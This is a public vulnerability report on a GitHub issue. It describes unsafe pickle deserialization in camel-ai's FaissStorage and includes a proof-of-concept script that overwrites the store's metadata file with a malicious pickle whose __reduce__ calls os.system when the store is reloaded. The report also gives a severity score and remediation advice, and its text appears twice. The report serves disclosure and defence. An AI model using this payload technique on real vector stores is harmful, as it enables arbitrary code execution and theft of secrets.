Required prerequisites
What version of camel are you using?
0.2.91a5
System information
- Installation: pip (
pip install "camel-ai==0.2.91a5" faiss-cpu)
- OS / Python: OS-independent, pure-library PoC (paths via
tempfile.gettempdir()); Python version not separately recorded for this verification
- Relevant library versions: camel-ai 0.2.91a5 (PyPI);
faiss-cpu (not a base dependency of camel-ai -- the storage backends are optional extras; FaissStorage requires it at runtime, @dependencies_required('faiss'), faiss.py:73)
Problem description
This is a security vulnerability report. We initially reported this issue privately via GitHub Private Vulnerability Reporting on 2026-09-01 and are following up publicly after the coordination window.
FaissStorage (camel/storages/vectordb_storages/faiss.py) is the framework's FAISS-backed vector store and a documented backend of the framework's own RAG cookbook. It persists the FAISS index and a metadata dictionary (ID mappings, payloads, vectors) into <collection>.index and <collection>.metadata, and instantiating the storage with a storage_path automatically loads and deserializes whatever is on disk: _load_from_disk() calls the module-level pickle.load directly on the metadata file (faiss.py:243-244) -- there is no Unpickler subclass limiting find_class to safe types and no HMAC or signature verifying the file was not altered (it is persisted with plain pickle.dump, :222-223) -- and the auto-load sits inside __init__ (:124-126), so the payload executes inside the constructor, before any application code can inspect or validate the files. A pickle stream can reference arbitrary callables (such as os.system), and the unpickler invokes them during loading; a payload can return a metadata dict carrying exactly the five keys the method validates afterwards (:247-259), so the store finishes loading with no error and no traceback.
- Expected: loading a persisted vector store never executes attacker-chosen code.
- Actual: an attacker who can place or overwrite a file in the storage directory of a
FaissStorage instance executes arbitrary code on the host with the privileges of the process that loads the vector store -- read arbitrary files and secrets (API keys, environment variables), modify or destroy files, and install persistence, since the payload re-executes on every subsequent load of the store. The store loads without any error and without any warning or error in the logs.
Dynamically verified against camel-ai 0.2.91a5 in August 2026 (the full validation chain -- legitimate store creation, pre-attack baseline, metadata overwrite, reload-triggered execution, marker assertion, cleanup -- passes 11/11 automated assertions; the script below is the same trigger chain in condensed form). No LLM, no server, and no network are involved at any point: this is a pure library-level trigger.
Reproducible example code
The Python snippets:
# poc.py -- library-level trigger; no LLM, no server, no network at any point
import os, pickle, shutil, tempfile
from camel.storages.vectordb_storages import FaissStorage, VectorRecord
tmp = tempfile.gettempdir()
storage = os.path.join(tmp, "camel_faiss_poc")
marker = os.path.join(tmp, "camel_faiss_poc_marker.txt")
shutil.rmtree(storage, ignore_errors=True)
if os.path.exists(marker):
os.remove(marker)
# 1) legitimate usage: create a store and add one record; FaissStorage
# persists <collection>.index and <collection>.metadata into storage/
store = FaissStorage(vector_dim=2, storage_path=storage,
collection_name="vector_store")
store.add([VectorRecord(id="doc1", vector=[0.1, 0.2],
payload={"text": "hello"})])
metadata_path = os.path.join(storage, "vector_store.metadata")
print("marker exists before attack:", os.path.exists(marker)) # -> False
# 2) attacker overwrites the metadata file with a malicious pickle
# (__reduce__ -> os.system); the returned dict carries the five keys
# _load_from_disk() validates afterwards, so loading stays error-free
def run_cmd(cmd, result):
os.system(cmd)
return result
class MaliciousMetadata:
def __reduce__(self):
write = "echo POC_EXECUTED > " + marker.replace("\\", "/")
return (run_cmd, (write, {"id_to_index": {}, "index_to_id": {},
"payloads": {}, "vectors": {},
"vector_dim": 2}))
with open(metadata_path, "wb") as f:
f.write(pickle.dumps(MaliciousMetadata()))
# 3) victim reloads the store: __init__ -> _load_from_disk() -> pickle.load
# executes the embedded os.system call during deserialization
FaissStorage(vector_dim=2, storage_path=storage,
collection_name="vector_store")
print("marker content:", open(marker).read().strip()) # -> POC_EXECUTED
shutil.rmtree(storage, ignore_errors=True)
os.remove(marker)
Command lines:
# Not used - the trigger is a single Python script; no shell command is part of the attack (the script is run with "python poc.py").
Extra dependencies:
pip install "camel-ai==0.2.91a5" faiss-cpu
# faiss-cpu is not a base dependency of camel-ai (the storage backends are
# optional extras); FaissStorage requires it at runtime
# (@dependencies_required('faiss'), faiss.py:73).
Steps to reproduce:
- Install camel-ai 0.2.91a5 plus
faiss-cpu (see Extra dependencies); save the script as poc.py.
- Run the script: it first performs legitimate usage -- creates a store and adds one record (
FaissStorage persists vector_store.index and vector_store.metadata into the temp storage directory) -- and asserts the marker does not exist yet (marker exists before attack: False).
- The script then plays the attacker: it overwrites
vector_store.metadata with a malicious pickle (__reduce__ -> os.system) whose returned dict carries the five keys _load_from_disk() validates afterwards, so loading stays error-free.
- The script re-instantiates
FaissStorage on the same storage_path: __init__ -> _load_from_disk() -> pickle.load executes the embedded os.system call during deserialization.
- Observe the output:
marker content: POC_EXECUTED -- the echo command executed inside os.system while pickle.load was deserializing the attacker-supplied file, with no LLM, no server, and no interaction of any kind. (If the OS temp path contains spaces -- e.g. a Windows user name with a space -- cmd.exe truncates an unquoted redirect target at the first space; point TMP/TEMP at a space-free directory first.)
Traceback
No traceback - the store loads without any error; the payload returns well-formed metadata, so loading completes without errors and without any warning or error in the logs.
Expected behavior
Loading a persisted vector store never executes attacker-chosen code.
Additional context
Severity: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 9.3 (Critical) -- os.system executes in the host OS context, outside the camel-ai package (alternate scoring: the same vector with S:U scores 8.4; if the delivery route is argued to make the attack vector Network, AV:N with S:C scores 10.0; all values computed with the official FIRST CVSS v3.1 formula). CWEs: CWE-502 (Deserialization of Untrusted Data), CWE-347 (Improper Verification of Cryptographic Signature).
Affected: PyPI camel-ai >= 0.2.61, <= 0.2.91a5; patched versions: none yet.
Suggested remediation:
- Persist metadata in a non-executable format: JSON for the mappings and payloads,
numpy .npy for the vectors; drop pickle entirely.
- If binary compatibility must be kept, subclass
pickle.Unpickler with a find_class allowlist (built-in containers plus numpy's array-reconstruction globals -- numpy._core.multiarray._reconstruct / numpy.core.multiarray._reconstruct, numpy.ndarray, numpy.dtype -- and camel.types.enums.VectorDistance; refuse os, posix, subprocess, and all other globals) and verify an HMAC of the file before loading.
- Load lazily via an explicit method instead of inside
__init__, so applications can validate or migrate a store before deserialization runs.
Full advisory: https://github.com/ybyu-ieu/agent-security-advisories/blob/main/camel/camel-faissstorage-pickle-deserialization-code-execution.md
Required prerequisites
What version of camel are you using?
0.2.91a5
System information
pip install "camel-ai==0.2.91a5" faiss-cpu)tempfile.gettempdir()); Python version not separately recorded for this verificationfaiss-cpu(not a base dependency of camel-ai -- the storage backends are optional extras;FaissStoragerequires it at runtime,@dependencies_required('faiss'), faiss.py:73)Problem description
This is a security vulnerability report. We initially reported this issue privately via GitHub Private Vulnerability Reporting on 2026-09-01 and are following up publicly after the coordination window.
FaissStorage(camel/storages/vectordb_storages/faiss.py) is the framework's FAISS-backed vector store and a documented backend of the framework's own RAG cookbook. It persists the FAISS index and a metadata dictionary (ID mappings, payloads, vectors) into<collection>.indexand<collection>.metadata, and instantiating the storage with astorage_pathautomatically loads and deserializes whatever is on disk:_load_from_disk()calls the module-levelpickle.loaddirectly on the metadata file (faiss.py:243-244) -- there is noUnpicklersubclass limitingfind_classto safe types and no HMAC or signature verifying the file was not altered (it is persisted with plainpickle.dump, :222-223) -- and the auto-load sits inside__init__(:124-126), so the payload executes inside the constructor, before any application code can inspect or validate the files. A pickle stream can reference arbitrary callables (such asos.system), and the unpickler invokes them during loading; a payload can return a metadata dict carrying exactly the five keys the method validates afterwards (:247-259), so the store finishes loading with no error and no traceback.FaissStorageinstance executes arbitrary code on the host with the privileges of the process that loads the vector store -- read arbitrary files and secrets (API keys, environment variables), modify or destroy files, and install persistence, since the payload re-executes on every subsequent load of the store. The store loads without any error and without any warning or error in the logs.Dynamically verified against camel-ai 0.2.91a5 in August 2026 (the full validation chain -- legitimate store creation, pre-attack baseline, metadata overwrite, reload-triggered execution, marker assertion, cleanup -- passes 11/11 automated assertions; the script below is the same trigger chain in condensed form). No LLM, no server, and no network are involved at any point: this is a pure library-level trigger.
Reproducible example code
The Python snippets:
Command lines:
# Not used - the trigger is a single Python script; no shell command is part of the attack (the script is run with "python poc.py").Extra dependencies:
Steps to reproduce:
faiss-cpu(see Extra dependencies); save the script aspoc.py.FaissStoragepersistsvector_store.indexandvector_store.metadatainto the temp storage directory) -- and asserts the marker does not exist yet (marker exists before attack: False).vector_store.metadatawith a malicious pickle (__reduce__->os.system) whose returned dict carries the five keys_load_from_disk()validates afterwards, so loading stays error-free.FaissStorageon the samestorage_path:__init__->_load_from_disk()->pickle.loadexecutes the embeddedos.systemcall during deserialization.marker content: POC_EXECUTED-- theechocommand executed insideos.systemwhilepickle.loadwas deserializing the attacker-supplied file, with no LLM, no server, and no interaction of any kind. (If the OS temp path contains spaces -- e.g. a Windows user name with a space --cmd.exetruncates an unquoted redirect target at the first space; pointTMP/TEMPat a space-free directory first.)Traceback
Expected behavior
Loading a persisted vector store never executes attacker-chosen code.
Additional context
Severity: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 9.3 (Critical) --
os.systemexecutes in the host OS context, outside the camel-ai package (alternate scoring: the same vector with S:U scores 8.4; if the delivery route is argued to make the attack vector Network,AV:Nwith S:C scores 10.0; all values computed with the official FIRST CVSS v3.1 formula). CWEs: CWE-502 (Deserialization of Untrusted Data), CWE-347 (Improper Verification of Cryptographic Signature).Affected: PyPI
camel-ai>= 0.2.61, <= 0.2.91a5; patched versions: none yet.Suggested remediation:
numpy.npyfor the vectors; drop pickle entirely.pickle.Unpicklerwith afind_classallowlist (built-in containers plus numpy's array-reconstruction globals --numpy._core.multiarray._reconstruct/numpy.core.multiarray._reconstruct,numpy.ndarray,numpy.dtype-- andcamel.types.enums.VectorDistance; refuseos,posix,subprocess, and all other globals) and verify an HMAC of the file before loading.__init__, so applications can validate or migrate a store before deserialization runs.Full advisory: https://github.com/ybyu-ieu/agent-security-advisories/blob/main/camel/camel-faissstorage-pickle-deserialization-code-execution.md